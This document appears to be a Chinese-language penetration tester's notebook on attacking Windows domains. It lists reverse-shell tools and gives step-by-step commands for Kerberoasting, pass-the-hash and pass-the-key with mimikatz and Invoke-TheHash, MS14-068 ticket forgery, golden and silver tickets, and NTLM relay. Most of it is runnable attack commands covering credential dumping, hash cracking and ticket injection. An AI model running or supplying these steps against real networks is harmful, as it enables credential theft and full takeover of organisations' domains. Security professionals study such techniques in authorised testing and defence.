内网渗透——Kerberos篇
对内网渗透一些东西的小记录
WinXP配置PowerShell
安装.NET Framework 2.0 Service Pack 2
https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=1639
安装WindowsXP-KB926140-v5-x86-CHS.exe
https://download.cnet.com/Microsoft-Windows-PowerShell-1-0-for-Windows-XP/3000-2070_4-75450849.html
Windows反弹shell
nc反弹shell
1 | # Attacker |
powercat
https://github.com/besimorhino/powercat
1 | # Attacker |
nishang
https://github.com/samratashok/nishang
Reverse TCP Shell
1 | # Attacker |
Reverse UDP Shell
1 | # Attacker |
Reverse ICMP shell
icmpsh_m.py:https://github.com/inquisb/icmpsh
1 | # Attacker |
自定义payload
1 | # Attacker |
Reverse DNS Shell
dnscat2:https://github.com/iagox86/dnscat2
1 | # Attacker |
DLL注入
PowerSploit:https://github.com/PowerShellMafia/PowerSploit
1 | # Attacker |
MSF Reverse Shell
1 | # Attacker |
信息收集(简)
1 | ipconfig /all |
Kereros 协议(简)
- 客户机将明文密码进行NTLM哈希,然后和时间戳一起加密(使用KRBTGT密码hash作为密钥),发送给KDC(域控),KDC对用户进行检测,成功之后创建TGT(票据授权票据)
- 将TGT进行加密签名返回给客户机器,只有域用户KRBTGT才能读取Kerberos中TGT数据
- 然后客户机将TGT发送给KDC请求TGS(票证授权服务)票证,并且对TGT进行检测
- 检测成功之后,将目标服务账户的NTLM以及TGT进行加密,将加密后的结果返回给客户机。
攻击方法
Kerberoating
原理
域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解。对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)。
利用思路
- 查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
- 请求TGS
- 导出TGS
- 暴力破解
手工导出
获取有价值的SPN
使用powershell模块Active Directory
powershell模块Active Directory 需要提前安装,域控制器一般会安装
导入命令:
import-module .\Microsoft.ActiveDirectory.Management.dll
下载地址:
https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll
1
2import-module ActiveDirectory
get-aduser -filter {AdminCount -eq 1 -and (servicePrincipalName -ne 0)} -prop * |select name,whencreated,pwdlastset,lastlogon使用PowerView
脚本地址:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
使用kerberoast
脚本地址:
(powershell)https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1
(vbs)https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.vbs
1
cscript GetUserSPNs.vbs
请求TGS,执行后输入
klist
查看内存中的票据,可找到获得的TGS。请求指定TGS
1
2
3$SPNName = 'MSSQLSvc/DC1.test.com'
Add-Type -AssemblyNAme System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName请求所有TGS
1
2Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
导出TGS
1
mimikatz # kerberos::list /export
破解
脚本地址:
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
1
./tgsrepcrack.py wordlist.txt test.kirbi
自动化脚本
自动实现,并且不需要mimikatz,普通用户权限即可
参考资料:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
代码地址:
http://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
利用步骤
在域内一台主机上以普通用户权限执行
1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | fl
只提取hash参数
1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
使用hashcat破解
1
hashcat -m 13100 /tmp/hash.txt /tmp/password.list -o found.txt --force
Pth(Pass the hash)
直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
原理
- 在Windows系统中,通常会使用NTLM身份认证
- NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
- hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
- 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
适用范围
- 域/工作组环境
- 可以获得hash,但是条件不允许对hash爆破
- 内网中存在和当前机器相同的密码
微软对 Pth 打过补丁,但是默认的 Administrator(SID 500) 账号还可以使用 Pth。
如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。
Mimikatz
mimikatz的pth功能需要本地管理员权限,这是由它的实现机制决定的,需要先获得高权限进程lsass.exe的信息
对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
获取 hash
1 | mimikatz # privilege::debug |
pth
1 | mimikatz # sekurlsa::pth /user:[Username] /domain:workgroup /ntlm:[NTLM] |
wmiexec
Invoke-TheHash
https://github.com/Kevin-Robertson/Invoke-TheHash
1 | Invoke-Module Invoke-TheHash.psd1Invoke-WMIExec -Target 192.168.3.21 -Domain workgroup -Username administrator -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose |
Invoke-SMBExec
支持SMB1,SMB2 (2.1),and SMB signing,
1 | Invoke-SMBExec -Target 192.168.3.21 -Domain test.local -Username test1 -Hash ccef208c6485269c20db2cad21734fe7 -Command "calc.exe" -verbose |
Invoke-SMBClient
支持SMB1, SMB2 (2.1), and SMB signing,如果只有SMB文件共享的权限,没有远程执行权限,可以使用该脚本。
支持的功能包括列举目录、上传文件、下载文件、删除文件(具体权限取决于该口令hash的权限)
wmiexec.py
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
wmiexec.exe
https://github.com/maaaaz/impacket-examples-windows
wmiexec.exe通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便
1 | wmiexec -hashes 00000000000000000000000000000000:ccef208c6485269c20db2cad21734fe7 workgroup/administrator@192.168.3.21 "whoami" |
wmiexec.py的hash参数格式为 LM Hash:NT Hash ,由于该Hash来自于Server 2008,系统默认不支持LM hash,所以LM hash可以设定为任意值
Ptt(Pass the ticket)
原理
如果我们能够拿到用户的TGT,并将其导入到内存,就可以冒充该用户获得其访问权限。
利用Kerberos协议进行攻击,三种常用的攻击方法是MS16-068,Golden ticket,Silver ticket。
MS16-068
MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.
ms14-068详细介绍:https://www.freebuf.com/vuls/56081.html
微软给出的补丁是kb3011780
简单来说就是:
windows域中使用kerberos协议过程中,为了让SS服务器判断Client是否有权限访问服务,引入了PAC机制。构造PAC也是这个漏洞的根本。
- 在请求AS时,将require_PAC设置成False。
- 在请求TGS时,构造PAC,然后使用MD5签名(PAC尾部的签名算法可以任意指定),PAC并没有放在TGT中发送,而是在请求包的其他位置(但是还是可以解析)。
- TGS_REP返回的不是会话密钥,而是返回的带PAC的TGT。
利用工具
利用步骤
使用 whoami/user 得到普通域用户的sid
执行payload生成TGT票据(.ccache文件)
1
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
票据注入,使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器,成功后会显示
Injecting ticket : OK
1
2
3mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
利用工具
利用步骤
生成票据
1
kekeo # "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
导入票据
1
kekeo # "kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi"
Golden ticket
前提条件
- krbtgt用户的hash(就意味着你已经有域控制器权限了)
- 域名称
- 域的SID值
- 要伪造的用户名
利用步骤
先登录域控制器,dump krbtgt用户的hash值,获取域sid
1
2mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch切换到普通域用户的机器,生成TGT凭证,用户名为administrator
1
mimikatz # kerberos::golden /user:administrator /doamin::dog.org /sid:[SID] /krbigi:[NTLM]
使用mimikatz将凭证注入进去
1
mimikatz # kerberos::ptt ticket.kirbi
如果主机开启了RPC服务,还可以使用WmiExec.vbs直接连接:
1
cscript "wmiexe v1.1.vbs" /shell 192.168.3.21
Silver ticket
silver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
利用步骤
首先登录域控,dump机器hash
1
2mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords将hash保存下来,在普通域用户机器中进行ptt
1
mimikatz # kerberos::golden /domain:god.org /sid:[SID] /target:192.168.3.21 /rc4:[NTLM] /service:cifs /user:mary /ptt
这里的cifs是指的文件共享服务,有了cifs服务权限,就可以访问域控制器的文件系统
Ptk(Pass the key)
原理
由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。
注入方法
获取用户的aes key
1
mimikatz "privilege::debug" "sekurlsa::ekeys"
注入aes key
1
mimikatz "privilege::debug" "sekurlsa::pth /user:mary /domain:god.org /aes256:[aes256_hmac]"
如果拒绝访问的话尝试安装kb2871997补丁
NTLM Relay
NTLM(v1/v2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击。
Net-NTLM(v1/v2)的hash值是基于用户的NT的hash值经过一定的算法产生的。
区别:
Net-NTLM v1 hash相对容易破解,拿到就约等于拿到了NTLM hash
Net-NTLM v2 hash需要暴力破解(hashcat)
原理
在使用一些服务的过程中,需要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可以使用像Responder或者Inveigh这些工具获得。然后你获取了这个Net-NTLM的Hash,就可以转给真正的验证服务器去验证,从而作为攻击者的你就可以通过真实的服务器的身份验证,这种攻击方式就称作NTLM中继攻击。
利用工具
- Responder:https://github.com/SpiderLabs/Responder
- Inveigh:https://github.com/Kevin-Robertson/Inveigh
- smbrealyx:https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbrelayx.py
参考链接: